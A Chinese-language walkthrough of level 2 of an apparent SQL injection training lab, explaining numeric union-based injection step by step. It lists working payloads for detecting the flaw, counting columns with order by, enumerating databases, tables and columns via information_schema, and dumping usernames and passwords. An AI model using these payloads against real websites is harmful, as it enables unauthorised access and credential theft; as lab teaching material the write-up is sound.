第二关请求方式为 GET请求 , 注入点为 数值型 , 注入类型为 联合注入
第一步,判断注入类型
在参数中添加单引号' , 看其是否会报错
?id=1'
数据库报错了
分析一下错误 , 最外面的一对单引号是数据库用来包裹错误信息的 , 我们不用管
我们输入的参数 1' , 就只剩下了一个单引号' , 也就是说 数值类型1 被正常读取了 , 但多了一个单引号,导致数据库报错 , 这就意味着 , 数据库接收参数时,没有包裹引号或其他东西 , 固 整数型注入
源码如下
第二步,测试字段数
使用 order by 排序测试字段数 , 从第1列开始,依次测试2,3,4...
?id=1 order by 4 -- a
第4列开始报错 , 也就是说,返回的结果只有3列 , 固 字段数为 3
第三步,测试显示位置
使用 union 联合查询 测试字段的显示位置
?id=-1 union select 1,2,3 -- a
此处联合查询的 1,2,3 与上一步查询出的字段数相匹配 , 目的在于确定查询结果字段的展示位置
此处id=-1,是为了更好的展示结果展示的位置 , 用户的id不能为负数,id为-1时,查询不到用户信息,只会展示联合查询的 1 2 3 这一条信息
第四步,脱库
爆库
查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存所有数据库名
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
此处的 group_concat() 可以将多行查询结果合并为一行显示 , 方便信息的展示
此关卡所用的数据库为security , 接下来根据security数据库 获取其所有表
爆表
查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
此关卡的表是users , 接下来根据users表 查询其所有字段
爆字段
查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
至此,已知该关卡的数据库为 security 表为 users 字段为 id,username,password,
下一步,根据此信息查询其账号和密码
获取账号和密码
查询security数据库的users表 , 获取所有用户账号和密码
?id=-1 union select 1,2,group_concat(username,'~',password) from security.users
此处的 group_concat(username,'~',password) , 使查询结果用'~'分隔 , 目的在于增加结果的可读性